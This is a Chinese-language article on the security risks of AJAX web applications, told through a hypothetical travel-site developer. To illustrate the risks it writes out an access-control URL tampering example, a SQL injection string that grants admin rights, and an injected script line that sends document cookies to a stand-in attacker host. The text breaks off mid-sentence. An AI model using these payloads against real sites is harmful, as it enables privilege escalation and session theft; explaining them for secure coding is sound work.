AJAX也有安全隱患 談談AJAX的安全性

AJAX也有安全隱患談談AJAX的安全性分類：新聞資訊推薦者：admin|瀏覽量：2,853views|我有話說Web開發(fā)者不會注意到由“AJAX(AsynchronousJavaScriptAndXML)”所帶來的激情。不費力氣就能創(chuàng)建像GoogleSuggest那樣的智能網(wǎng)站或者像Gmail那樣基于Web的應用程序，這在很大程度上要歸功于這種技術(shù)。然而，伴隨著AJAX應用程序的發(fā)展，我們發(fā)現(xiàn)了它的一些不足之處，我們發(fā)現(xiàn)它的安全漏洞也在逐漸變大，就像慢慢地把基于AJAX的站點放入了一顆定時炸彈中。AJAX的好處在當年“Web應用程序”的美好時代，事情非常簡單。你填寫了一個表單，點擊“提交”按鈕，然后當前屏幕就消失了，等待一小會兒后你就轉(zhuǎn)入到了下一個頁面。今天的狀況已經(jīng)不是這樣的了，用戶需要的是一種就像任何桌面應用程序那樣流暢、快捷和人性化的Web體驗。AJAX經(jīng)常是和DHTML(DynamicHTML)一起協(xié)作的，它的順利執(zhí)行需要允許網(wǎng)頁中的JavaScript代碼和web服務器在后臺無縫通訊。比方說，當你開始在GoogleSuggest的搜索框中輸入東西時，web頁面就和服務器在后臺開始交換數(shù)據(jù)，然后會給出一些你可能需要的詞條等。所有的這一切都不需要頁面刷新或者按下任何按鈕。同樣這也就是像Gmail那樣的應用程序怎么能對實時拼寫檢查做的那么好的原因。AJAX怎樣工作AJAX復雜的原理已經(jīng)超出了今天所要闡述的范圍，這里只簡單描述一下。你的頁面上的JavaScript代碼能夠在不依賴于用戶的情況下和你的Web服務器取得聯(lián)系。這里面起核心作用的就是JavaScript的XMLHttpRequest對象，這個對象能夠被就像用戶敲擊鍵盤或者時鐘事件在后臺或者異步觸發(fā)(也就是術(shù)語異步JavaScript和XML)。如果你在GoogleSuggest中輸入“ajax”后，就會得到像我輸入后得到的服務器請求一樣：/complete/search?hl=en&js=true&qu=aj/complete/search?hl=en&js=true&qu=aja/complete/search?hl=en&js=true&qu=ajax在這個術(shù)語中的XML部分有一點會引起人們的誤解，其實這一部分是沒有任何意義的。它是從JavaScript對象得來的名字，同時許多AJAX風格的應用程序使用了XML，這個對象能夠就任何事務向服務器發(fā)出一個請求。甚至JavaScript代碼本身也能夠被取回和評估。繼續(xù)完成我的輸入“ajaxexample”，將會從Google的服務器產(chǎn)生下面的回應：sendRPCDone(frameElement,“ajaxexample”，newArray("ajaxexample”，“ajaxexamples”),newArray("153,000results”,“177,000results”),newArray(”〃))；這將會給你一些關(guān)于強大的AJAX的暗示吧，它具有在運行中(onthefly)把新的JavaScript代碼加入到瀏覽器中的能力。然而，最優(yōu)化的方法看起來好像束縛了XML協(xié)定。舉個例子說明一下，比如Google產(chǎn)生了下面的這個東西：ajaxexample153,000ajaxexamples177,000顯然，你可以在一個合適的表單中解釋這些XML數(shù)據(jù)，但我們要感謝JavaScript，它確實能夠在一些非常典型的限制條件下和大量討厭的IEbug環(huán)境里非常好的處理XML對象。為了幫助你理解一些Ajax的問題，我在這里給你介紹一個假想的旅行公司-“時代尖端旅行公司”。由于受到AJAXbug的推動，他們的主要web開發(fā)者MaxUptime為了創(chuàng)建一個這樣的應用程序，他決定混合使用AJAX，這樣，他走在時代尖端了。AJAX的問題半數(shù)以上的AJAX安全風險來自隱含在服務器中的漏洞。顯然，使用安全編碼技術(shù)的好的設(shè)計，對于更安全的AJAX大有幫助，我們需要感謝Max熟悉開放萬維網(wǎng)應用安全計劃(theOpenWebApplicationSecurityProject-OWASP)排名前十的最嚴重web應用程序安全漏洞列表()。不幸的是，當Max實現(xiàn)AJAX的時候，他仍然需要面對許多額外的因素：新的技術(shù):如果Max想把他的站點連接到一個SQL數(shù)據(jù)庫，他在Google查到了數(shù)百萬的例子。AJAX技術(shù)，不管這種技術(shù)有多年輕，它仍然是出現(xiàn)在采購循環(huán)中相對較早的，盡管它只有很少一部分好的例子出現(xiàn)在網(wǎng)絡上。為了解決一些難處理的和不必要的復雜問題，這就要求像Max那樣的開發(fā)者去自主開發(fā)。Max也就不得不編寫服務器端和客戶端的代碼，創(chuàng)建他自己不太確定的協(xié)議(特別是對服務器響應來講)。不管這些協(xié)議有多好，都將會及時表現(xiàn)在頁面上。非傳統(tǒng)方式的設(shè)計:AJAX有一點點不同于傳統(tǒng)設(shè)計方式，因為這樣的應用程序是半客戶端半服務端的。在Max的例子里，他是唯一的開發(fā)者，所以他為服務端和客戶端都能夠進行編碼。在同一時間使用兩種不同的語言(特別是在早期階段)進行開發(fā)將會產(chǎn)生一些初級的編碼錯誤，因為他要在兩端來回跳躍，對一端來講非常好，但可能在另一端不能夠勝任。即使Max有一個大的開發(fā)團隊，安全編碼責任也可能在服務端和客戶端開發(fā)小組之間代碼移交的時候發(fā)生問題。太多的腳本語言:Max憑借他自己的聰明才智決定建立世界上最優(yōu)秀的旅行登記工具。你從輸入你現(xiàn)在的位置(通過郵政編碼、電話區(qū)號或者GPS等等)開始登記，這時候一個AJAX請求就會被立即發(fā)送來確定你確切的位置。從那時候開始，屏幕上就會填入你所有可以利用的旅行方式，這一切甚至都是在你決定你想要去什么地方、你打算什么時候動身和你打算和誰一同去之前就完成的。這個屏幕上的單元格和控件都充滿了AJAX驅(qū)動，服務器端和客戶端的腳本可能需要超過20個不同的服務器調(diào)用。你可以想像一個很小的個體服務器程序，比如findairportsbylocation.aspx或者determinemaxbaggageallowancebyairline.php.顯而易見，如果沒有Max的仔細計劃（比如創(chuàng)建多功能的“重載”JavaScript函數(shù)和服務器腳本），每一次設(shè)計他都需要創(chuàng)建超過40個獨立的部分。更多的編程意味著會產(chǎn)生更多的錯誤和bug，意味著需要更多的時間去編寫、管理、測試和更新代碼。不僅如此，因為在客戶端的JavaScript代碼中應用了大量的這種腳本，他們在正式的程序測試中也容易變得很健忘。確定小部分的AJAX不會引起危害:這個站點是一個計劃出行的站點，但是Max考慮的是它將立刻為你提供一個顯示精確位置的衛(wèi)星視圖，并且把你所要到達目的地的天氣情況也提供給你。AJAX最大的誘惑之一看起來好像是直到最后一刻它還在進行其它的操作，就像一個講解員在那里解說一樣，為了AJAX使用了AJAX。當Max開始嘗試他的新想法時，他會逐漸嘗試增加更多新的功能，完全忽視測試的需要。不安全的通訊:每一個AJAX調(diào)用可能只回傳很少數(shù)量的數(shù)據(jù)給客戶端，但那些數(shù)據(jù)是私有的、保密的°Max可以編寫一個便利的工具來對你的信用卡號碼進行數(shù)字校驗，但是如果使用純文本代替overSSL進行發(fā)送數(shù)據(jù)會怎樣呢?這是一個顯而易見的問題，但是當有許多例行程序需要考慮，特別是屏幕上其它99%的數(shù)據(jù)不是真正的機密數(shù)據(jù)時，很容易就會忽視掉SSL的。服務器端訪問控制:使用JavaScript程序來觸發(fā)AJAX經(jīng)常會掩飾一些顯而易見的編碼錯誤，服務器端訪問控制就是一個例子。假設(shè)Max想?yún)⒖寄闵洗斡斡[的一個詳細目的地來為你提供你中意的旅館，他可能會是像下面這樣：showprevioushotels.aspx?userid=12345&destination=UK這當然是非常好的，但是如果一個惡意用戶把URL改成了如下所示該怎么辦呢：showprevioushotels.aspx?userid=12346&destination=%他們會得到其他人最喜愛的旅館嗎？（注意:％在SQL語句中是通配符）。無疑，這是一個沒有什么危害的例子，但是Max應該使用session,cookie或者其它符號形式來確保數(shù)據(jù)能并且只能發(fā)送到正確的用戶那里。它們可能僅僅是數(shù)據(jù)的一小部分，但它們可能就是最重要的一小部分。服務器端驗證:實際上這里有兩個問題。第一，AJAX控制經(jīng)常被用來在用戶最后提交到服務器之前的輸入驗證。這麻痹了Max，使Max有一種虛假的安全感，原因是他建立了稱作alloweddestinations.php的函數(shù)，根據(jù)用戶的ID來決定他們能夠到達的正確目的地。因為這是一個服務器端的檢查，當這個頁面最后被提交的時候他不必再次為在服務器上做檢查而煩惱，這里我們假定不會有惡意的用戶暗中破壞從alloweddestinations.php的響應或者破壞對服務器最后的請求。AJAX控制可以比用戶自己更仔細驗證用戶的輸入，但是他們還是經(jīng)常在服務器上最后做一次驗證。AJAX驗證的第二個問題就是控制本身會受到驗證漏洞的影響。這里再次強調(diào)一下，URL通常是隱藏著的，所以也會經(jīng)常忘掉它。舉例說明一下，也許我可以使用SQLInjection來對剛才的腳本進行攻擊，如下所示：showprevioushostels.aspx?userid=’;updateuserssettype=’admin’whereuserid=12345;-就會讓我登錄后具有系統(tǒng)管理員的權(quán)限。當然，如何取得那些表名(table)和字段名已經(jīng)超出了本文討論的范圍，但是你已經(jīng)了解這種情況了，不是嗎？客戶端驗證:我們已經(jīng)知道在剛才的GoogleSuggest例子中，通過簡單評測服務端的響應后動態(tài)創(chuàng)建和執(zhí)行JavaScript函數(shù)是可行的。如果沒有任何形式的驗證(如果這樣的話在客戶端很難保證可靠性和流暢性)，客戶端將僅僅簡單執(zhí)行服務器需要它完成的事情。這樣的話，由于真正的代碼怎么執(zhí)行的對于一個普通用戶來講是永遠看不到的(也就是說你不能夠“查看源文件”)，于是潛在地為惡意的黑客們打開了一個完全的攻擊導向。如果服務器的響應持續(xù)不斷地被搗亂(這種破壞行為可能是在Web服務器本身也可能是在數(shù)據(jù)傳輸過程中)，這種攻擊將很難被發(fā)現(xiàn)。Max使用下面的響應在目的地網(wǎng)頁上更新天氣圖標，他是用的函數(shù)是eval();函數(shù)：updateWeatherIcon(’cloudy.gif’);然而，惡意的cracker能夠把這個函數(shù)變成下面的形式，這樣要發(fā)現(xiàn)這種攻擊就更加困難了：updateWeatherIcon(’www.myhackingsite.ru/grab.aspx?c=’+document.cookies);updateWeatherIcon(’cloudy.gif’);我們現(xiàn)在能夠在我們自己的服務器上跟蹤每一